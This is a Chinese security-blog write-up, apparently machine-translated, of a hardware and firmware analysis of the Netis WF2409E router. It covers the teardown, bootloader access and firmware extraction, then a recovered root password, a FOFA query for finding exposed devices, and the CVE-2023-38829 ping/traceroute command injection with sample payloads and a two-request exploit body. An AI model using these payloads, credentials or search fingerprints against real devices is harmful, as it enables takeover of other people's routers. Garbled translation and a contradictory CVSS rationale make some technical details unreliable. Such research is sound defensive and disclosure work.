网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究 | 漏洞分析

网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究 | 漏洞分析

Victorique-123 夜组安全 2024-12-29 04:17

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
所有工具安全性自测!!!VX:
baobeiaini_ya

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把
夜组安全
设为星标
”,
否则可能就看不到了啦!

01

工具介绍

网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究研究。通过对设备进行拆解分析、调试接口识别、固化提取等工作,记录了硬件分析的全过程、漏洞以及细节应的安全建议,希望能够帮助提高物联网设备的安全性。

1. 设备概述

1.1 主要特性表

类别 范围 描述
设备信息 模型 内蒂斯WF2409E
类型 300Mbps无线N路由器
营养 直流9V/500mA
硬件版本 V1.8
PCB版 PB-7189-M02G-20
生产日期 2015-03-23
原产地 中国
网络 ID 序列号 2409EEU5B102714 V1.8
MAC地址 W8D398DFB68
默认SSID 网络_BDFB68
默认密码 密码
控制地址 http://netis.cc
硬件接口 广域网端口 1(蓝色RJ45)
局域网端口 4(黑色RJ45,LAN1-4)
天线 3 根外置天线
电源连接器 直流输入(PWR)
功能按钮 默认 重置为出厂设置
WPS 受保护的 WiFi 设置

1.2 性能检查表

正在检查的参数 状态 笔记
电源指示灯 好的 开启时常亮
网络指标 可用 连接时闪烁
WAN口状态 好的 网络连接正常
LAN口状态 可用 所有 4 个端口均工作
无线网络功能 好的 天线完好,信号正常
WPS功能 好的 按钮有反应
复位功能 好的 默认按钮有效

1.3 主要系统组成

不。 芯片型号 制造商 主要功能 规格 笔记
1 EM63A165TS-6G 钰创科技 系统内存 – 容量 32 Mbit
– 频率 166 MHz
– SDRAM 架构
– TSOP-II 封装
– 用于临时数据存储
– 支持主处理器计算
2 FR9886 61504 未知 电源管理 – SOIC-8封装
– 集成电路
– DC-DC
– 负责电压调节
– 为系统提供稳定的电源
3 RTL8196E 瑞昱/RMC 主处理器 – MIPS 架构
– SoC 设计
– 台湾制造
– 系统中央处理器
– 负责核心计算和控制
– 集成网络处理
4 MX25L3206E 旺宏 闪存 – 容量 32Mb (4MB)
– SPI 接口
– SOIC 封装
– 存储系统固件
– 保存配置数据
5 RTL8192ER 瑞昱/RMC 无线通讯 – WiFi 控制器
– QFN 外壳
– 无线信号处理
– 支持WiFi功能

2. 联系研究

2.1 通过串口连接设备

3. 启动日志、引导加载程序和操作系统命令

3.1 下载日志分析

处理器规格

范围 规格
处理器型号 瑞昱 RTL8196E
建筑学 16位
时钟频率 380兆赫
编译日期 2014.09.29

闪存规格

范围 意义 十六进制值
芯片型号 MX25L3205D
总体积 4MB 0x400000
块大小 64KB 0x10000
扇区大小 4KB 0x1000
页面尺寸 256B 0x100

引导加载程序信息

范围 描述
引导加载程序类型 专有的 RealTek 引导加载程序
内核启动地址 0x80500000
执行起始地址 0x80003440
签名搜索范围 0x10000-0x170000

默认网络设置

范围 意义
IP地址 192.168.0.1
子网掩码 255.255.255.0
MAC地址 04:8d:38:BD:FB:69
无线接口 wlan0(包括va0-va3、vxd)

系统软件信息

范围 意义
设备型号 内蒂斯WF2419E_RU
固件版本 V2.5.40200
固件日期 2016.09.02
忙碌盒版本 v1.00-pre8 (2015.01.23)

服务状态

服务名称 地位 笔记
DHCP服务器 作品 美好的
HTTP 服务器(Boa) 作品 异常重启
国际应用程序协会 作品 IEEE 802.11f
迷你IGD 作品 v1.08.1
迷你upnpd 错误 找不到文件
远程登录 错误 找不到文件
ota_init.sh 错误 找不到文件

需要注意的是,该设备可能不使用 U-Boot。主要特点:
1. 日志直接以 RealTek 启动信息开头:—RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 16bit

  1. 典型的 U-Boot 启动症状缺失:

  2. 没有 U-Boot 版本信息

  3. 没有关于初始化 U-Boot 环境变量的信息

  4. 没有 U-Boot 命令提示符

  5. RTL8196E是RealTek的一款廉价路由器芯片,许多基于它的设备使用RealTek自己的引导加载程序而不是U-Boot。

  6. 考虑到闪存容量较小 (4MB),使用轻量级引导加载程序更符合逻辑。实在找不到登录U-boot的方法。

3.2 Bootloader分析

要进入引导加载程序,必须在引导时按住 Esc 键:

全套 RealTek 引导加载程序命令

团队 句法 功能
帮助 显示帮助
数据库/数据库 DB/DW <地址> <长度> 逐字读取存储器
电子战/电子战 EB/EW <地址> <值> 逐字/逐字写入内存
FLR FLR 从Flash读取数据到RAM
F.L.W. FLW <dst_ROM><src_RAM> 将数据从 RAM 写入 Flash
IP配置 IPCONFIG <IP 地址> IP地址设定
加载地址 LOADADDR <地址> 设置下载地址
化学机械抛光 化学机械抛光 比较内存中的数据
J J <地址> 转到执行
MDIOR/MDIOW MDIOR/W [数据] 读/写 PHY 寄存器
PHYR/PHYW PHYR/W [数据] 读/写 PHY 寄存器(替代方法)
端口1 端口1 端口1补丁测试
自动燃烧 自动刻录 0/1 自动固件管理

内存读取示例:

引导加载程序命令:

FLR 80000000 0 100 #Чтение из Flash
DB 80000000 100 #查看内存内容

3.3 Shell环境分析

基本 shell 命令

命令类型 可用命令
基本命令 .:cdhelp,exit
执行管理 breakcontinueeval,exec
变量运算 exportreadreadonlyset,shift
流程管理 timestrap,wait
权限管理 loginnewgrp,umask

系统目录结构详解(/bin——重要工具)

类别 工具 功能
网络工具 iptables ip6tables brctl ifconfig 防火墙配置、IPv6防火墙、网桥管理、网络接口配置
系统管理 busybox ps kill mount 一套基础工具,进程查看、进程管理、文件系统挂载
VPN 连接 pppd pptp l2tpd pptpctrl PPP 守护进程、PPTP 客户端、L2TP 守护进程、PPTP 控制
无线控制 iwcontrol iwpriv wlanapp.sh wps_init.sh 无线控制、私有无线命令、无线应用程序控制、WPS 配置
防火墙脚本 firewall.sh firewall_ipv6.sh firewall_pptp.sh 基本防火墙、IPv6防火墙、PPTP防火墙
动态主机配置协议/域名系统 dhcpc.sh dhcpd.sh dnrd DHCP客户端、DHCP服务器、DNS转发
网络服务 boa webs cgitest.cgi Web服务器、Web控件、CGI测试

/proc目录的关键信息

小路 信息类型 描述
/proc/cpu信息 CPU信息 处理器详细信息
/proc/内存信息 内存信息 系统内存使用状态
/proc/mtd 栏目信息 闪存共享
/进程/网络/* 网络信息 网络接口和连接的状态
/进程/系统/* 系统参数 可调系统参数
/进程/版本 版本信息 内核版本信息

进程列表:

3.4 主要硬件部件说明

成分 描述 规格
RTL8196E 主处理器 – MIPS架构
– SoC设计
– 台湾制造
– 系统CPU
– 负责核心计算和控制
– 内置网络处理功能
EM63A165TS-6G 系统内存 – 32 Mbit 容量
– 166 MHz 频率
– SDRAM 架构
– TSOP-II 封装
– 系统数据临时存储
– 支持主处理器计算
MX25L3206E 闪存 – 32 Mbit (4 MB) 容量
– SPI 接口
– SOIC 封装
– 系统固件存储
– 配置数据存储
RTL8192ER 无线网络 – WiFi 控制器
– QFN 外壳
– 无线信号处理
– WiFi 支持
FR9886 61504 电源管理 – SOIC-8封装
– 集成电路
– DC-DC
– 负责电压调节
– 为系统提供稳定的电源

4.挂载点信息分析

4.1 获取挂载分区信息

4.2 系统主要有3个挂载点:

  • /dev/mtdblock1
    安装为根目录/

  • none
    作为进程文件系统安装/proc

  • tmpfs
    作为临时文件系统安装/var

详细分析

4.2.1.根文件系统

根文件系统配置如下:
– 设备:/dev/mtdblock1

  • 文件系统类型:squashfs

  • 挂载选项:只读 (ro)

  • 用途:存放系统文件和程序

这表明使用MTD闪存作为存储介质,使用只读和squashfs压缩来保护系统文件并优化空间。

4.2.2 进程文件系统

进程文件系统配置如下:
– 设备:无(虚拟文件系统)

  • 文件系统类型:proc

  • 挂载选项:读写 (rw)

  • 目的:提供访问系统和流程信息的接口

4.2.3 临时文件系统

临时文件系统配置如下:
– 设备:tmpfs(内存文件系统)

  • 挂载点:/var

  • 大小限制:230 KB

  • 挂载选项:读写 (rw)

  • 用途:工作时存储临时文件和数据

4.2.4 发现系统中大部分命令缺失

5. 固件结构和格式

5.1 获取恶意软件“netis.bin”

5.2 进行熵分析:

binwalk -E –save netis.bin

5.3 头分析:

binwalk netis.bin

5.4 –reM 参数用于执行解包。

并得到:

5.5 分析结果表

文件 偏移量(十进制) 偏移量(十六进制) 描述 附加信息
网络文件 4848 0x12F0 LZMA压缩数据 字典大小:8388608字节,解包后大小:56464字节;开箱后需要进行内容分析
网络文件 206872 0x32818 LZMA压缩数据 字典大小:8388608字节,解包后大小:3278684字节;包含完整的 Linux 内核 2.6.30
网络文件 1507328 0x170000 SquashFS 文件系统 Little endian,gzip 压缩,大小:2628241 字节

偏见章节标题0x12F00x328180x170000## 6.固件解压后的文件系统

6.1 解压后的文件系统:

6.2 一些重要文件

6.2.1etc/passwd:

使用哈希解密服务
https://hashes.com/en/decrypt/hash
,成功恢复 root 密码为realtek

6.2.2web/welcome.htm:

这是默认的 Web 界面页面 

7. FOFA 的标记、指纹、统计

FOFA
通过以下特征搜索设备web/welcome.htm:

搜索命令: body=”./images/logo_netis.png” && body=”display:block; height:60px; float:left;”

要访问设备的管理面板,可能需要使用登录名和密码进行身份验证。 

认证成功后即可登录管理面板 

8. 识别脚本

首先,使用命令找到可用目录,并~/squashfs-root/web$ find
使用以下命令Burpsuit
检查它们的可用性:

有效载荷 代码 长度
1 /cgi-bin 200 167
2 /cgi-bin/cgitest.cgi 错误
3 /脚本 200 168
4 /脚本/init.js 200 第1282章
5 /脚本/logic.js 200 65677
6 /脚本/menu.js 200 4976
7 /脚本/netcore.js 200 151935
8 /脚本/action.js 200 182624
9 /脚本/debug.js 200 28570
==10== ==/版本.txt== ==200== ==206==
==11== ==/update.htm== ==200== ==1230==
12 /配置 200 168
13 /config/language_es.js 200 79333
14 /config/language_it.js 200 76802
15 /config/language_id.js 200 74795
16 /config/language_du.js 200 78782
17 号 /config/language_ma.js 200 73594
18 /config/language_po.js 200 76458
19 号 /config/language_tu.js 200 77747
20 /config/language_fr.js 200 78165
21 /config/language_ro.js 200 73621
22 /config/language_cz.js 200 75968
23 /config/language_ua.js 200 98335
24 /config/language_us.js 200 84173
25 /config/config.js 200 75899
26 /config/language_ru.js 200 108998
27 /config/language_de.js 200 78674
28 /config/language_pt.js 200 77954
29 /config/language_cn.js 200 62001
30 /config/language_tc.js 200 74268
31 /系统日志.txt 404 330
==32== ==/index.htm== ==200== ==4336==
33 /css 200 167
34 /css/style.css 200 5441
35 /css/netcore.css 200 11536
36 /css/welcome.css 200 6270
37 /配置.tgz 404 第326章
38 /图片 200 168
39 /图片/first.png 200 第838章
40 /images/icon_no.gif 200 240
41 /images/top_right_bg.gif 200 222
42 /images/logo_netis.png 200 7297
43 /images/icon_jian.gif 200 239
44 /images/show_pwd.png 200 第1433章
45 /images/icon_no1.gif 200 第498章
46 /images/nextt.png 200 1026
47 /images/lastt.png 200 第845章
48 /images/icon_intro_internet.gif 200 6994
49 /images/help_b1.gif 200 540
50 /图片/high.gif 200 10846
51 /images/yandex_en.png 200 3519
52 /images/help_b1.jpg 200 620
53 /图片/back.gif 200 第379章
54 /images/icon_intro_wireless.jpg 200 3838
55 /images/icon_jian1.gif 200 第490章
56 /图片/left_021.jpg 200 第558章
57 /图像/编辑.gif 200 365
58 /图片/pre.png 200 1029
59 /images/btn_mobile_setup.jpg 200 3053
60 /images/icon_now.gif 200 第242章
61 /images/top_right_bg.jpg 200 223
62 /images/bg_intro_bottom.png 200 3562
63 /图片/favicon.ico 200 4458
64 /images/btn_quick_setup.jpg 200 4353
65 /images/bg_intro_top.png 200 3605
66 /images/mt-link.gif 200 5823
67 /图片/link.gif 200 1045
68 /图像/del.gif 200 313
==69== ==/图像/Makefile== ==200== ==593==
70 /images/icon_jia1.gif 200 第490章
71 /图片/蓝色.jpg 200 2584
72 /图像/正常.gif 200 10818
73 /images/yandex.png 200 2159
74 /images/bg_leftmenu.gif 200 第686章
75 /images/icon_jia.gif 200 第252章
76 /images/icon_now1.gif 200 第487章
==77== ==/welcome.htm== ==200== ==30155==
==78== ==/index.html== ==200== ==326==
79 /帮助 200 166
==80== ==/备份.htm== ==200== ==1304==

潜在的信息位置:

有效载荷 代码 长度
==10== ==/版本.txt== ==200== ==206==
==11== ==/update.htm== ==200== ==1230==
==32== ==/index.htm== ==200== ==4336==
==69== ==/图像/Makefile== ==200== ==593==
==77== ==/welcome.htm== ==200== ==30155==
==78== ==/index.html== ==200== ==326==
==80== ==/备份.htm== ==200== ==1304==

经过检查,我们可以在==/version.txt==文件中找到以下信息:
– 固件版本

  • 建造日期

  • Boa服务器信息(从HTTP响应头中的Server字段获取)

使用 Python 脚本提取此信息: 

9. CVSS漏洞列表

9.1 漏洞列表

目前,该设备已发现以下漏洞,其中该漏洞CVE-2023-38829
为命令注入漏洞,存在于路由器的网络测试模块和功能NETIS SYSTEMS Router WF2409E
中。通过Web管理界面,可以向这些函数的参数中注入恶意命令,从而导致命令执行。pingtraceroute

漏洞编号 漏洞类型 模型 版本 报告/利用
CVE-2023-42336 敏感信息泄露 内蒂斯 wf2409e_固件 < 1.0.1.705
wf3409e < v4
https://github.com/adhikara13/CVE/blob/main/netis_WF2409E/Root_Hard_Code.md
CVE-2023-38829 远程代码执行 内蒂斯 wf2409e_固件 < 3.6.42541
wf3409e < –
https://github.com/adhikara13/CVE-2023-38829-NETIS-WF2409E

9.2 漏洞检查

ping
为了检查这个漏洞,我登录了路由器的控制面板并测试了和中的漏洞traceroute
。 

这里我实现了一个命令cd && ls && cd etc/ && cat passwd
来输出密码文件的内容。

以下是注入命令时路由器控制面板的输出,这证实了漏洞的存在。 

9.3 CVSS漏洞评估

CVSS 3.1检测到的命令注入漏洞分析:
1. 基线评估:

  1. 攻击向量 (AV):网络 (N),因为可以进行远程利用

  2. 攻击复杂度 (AC):低 (L),因为它只需要发送 HTTP 请求

  3. 所需权限 (PR):低 (L),需要基本用户权限(在设备管理界面中进行身份验证)

  4. 用户交互 (UI):无 (N),无需用户交互

  5. 影响范围(S):修改(C),可能影响连接到路由器的其他设备

  6. 影响指标:

  7. 隐私影响 (C):高 (H),可进行完整系统访问

  8. 完整性影响 (I):高 (H),任何系统文件都可能被修改

  9. 可用性影响 (A):高 (H),可能对设备运行产生影响


1. 临时评估指标:

  1. 利用成熟度 (E):存在功能性利用 (F)

  2. 修复级别 (RL):官方修复 (O)

  3. 报告可靠性 (RC):已确认 (C)

最终评分:
9.2/10分
,属于“严重”类别。 
CVSS-矢量: 
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

漏洞评分如此高的原因如下:
– 无需特殊条件即可进行远程操作

  • 无需身份验证即可获得 root 权限

  • 全面影响系统安全

  • 漏洞利用的容易程度

10. 弱漏洞分析(BO或CI)

我们首先查找可能存在漏洞的文件: find . -name “*.cgi” ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

我假设CGI程序中可能会出现漏洞,所以首先我将尝试使用IDA Pro分析./web/cgi-bin/cgitest.cgi文件。

首先,您需要找到调用类似函数的地方;通过搜索,我们能够找到字符串“killall ping”。 

分析调用位置时可以看到,程序在初始化了ping和traceroute函数后,调用了/bin/network_test.sh

而漏洞所在的地方正是在网络测试模块中。好吧,我们需要分析一下/bin/network_test.sh

分析network_test.sh

首先您需要执行搜索。 

找到函数network_test_sh: 

…… 

对函数的详细分析可以揭示执行命令和保存结果的模块。 

其中:执行 ping 命令:ping -c %d -s %d %s -W %d > %s &
– 平参数:

  • -c: ping 次数

  • -s:数据包大小(负8字节)

  • -W:超时

  • 配置中的目标 IP 地址

执行traceroute命令:traceroute -I -m %d %s > %s &
– 路由跟踪参数:

  • -I:使用ICMP协议

  • -m:最大跳转次数

  • 配置中的目标 IP 地址

详细的漏洞分析

# Ситуация с командой pingloc_4205B8:lw v0, 0x108+var\_D4(sp) #прямая загрузка параметровlw a3, 0x108+var\_D8(sp)la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf
# Ситуация с командой tracerouteloc_420574:la $t9, sprintf #также прямой вызов sprintflw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров
# После построения команды происходит прямое выполнениеla $t9, run_by_systemjalr $t9 ; run_by_system #прямой вызов system для выполнения командыmove $a0, $s1 #отсутствуют проверки безопасности

该代码缺乏对输入参数的充分验证,从而产生命令注入的潜在风险。攻击者可以操纵传递的IP参数来执行shell命令,例如:

# Нормальный ввод 192.168.0.1# Примеры вредоносного ввода192.168.0.1; rm -rf / #удаление файлов192.168.0.1 & id & #выполнение произвольных команд

11. 操作脚本

11.1.脚本概述

该脚本利用设备 Web 界面中的命令注入漏洞,通过创建特殊的 HTTP 请求来远程执行命令。该脚本使用两个 HTTP POST 请求来利用该漏洞:第一个请求执行命令,第二个请求接收执行结果。

第一个包(netcore_set.cgi)的用途是:命令的实现和执行 

第二个包(netcore_get.cgi)旨在:获取命令的结果 

11.2 第一阶段:命令注入

  1. 使用以下关键参数形成 POST 请求正文:
{ "mode_name": "netcore_set",    "tools_type": "2",      "tools_ip_url": f"| {command}", # точка инъекции команды    "tools_cmd": "1",   "net_tools_set": "1" }
  1. 所有参数的URL编码

  2. 向 netcore_set.cgi 发送 POST 请求

11.3 第二阶段:获得结果

  1. 第二个 POST 请求的形成:
    { "mode_name": "netcore_get",         "noneed": "noneed" }
  1. 向 netcore_get.cgi 发送请求

  2. 解析响应中的tools_results字段,得到命令执行的结果

11.4 测试脚本

为了测试脚本,我ceshi
在主机上创建了一个文件并尝试通过脚本将其上传到设备



成功地!

事实上,此漏洞允许您获得对设备的完全控制,因为设备默认使用 root 访问权限

https://github.com/Victorique-123/CVE-2023-38829-NETIS-WF2409E_Report

02

攻防武器库

                        [ 双12渗透攻防武器库 | 12个名额 秒了 ](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492954&idx=1&sn=4d558e1c4f0a7beef64bd62bba63a1d3&chksm=c36ba1a2f41c28b400efe4322f95523c04301f69f50f96911b1822ec6b3fff5b1d8eb1589830&scene=21#wechat_redirect)

03

往期精彩

一款图形化的代码审计工具

今晚记得打开所有端口并且关闭防火墙、态势感知、IPS、终端杀软,记得SSH、RDP和后台改成弱口令,这样圣诞老人就会留下礼物哦!

【1day】Z-Blog 后台文件上传漏洞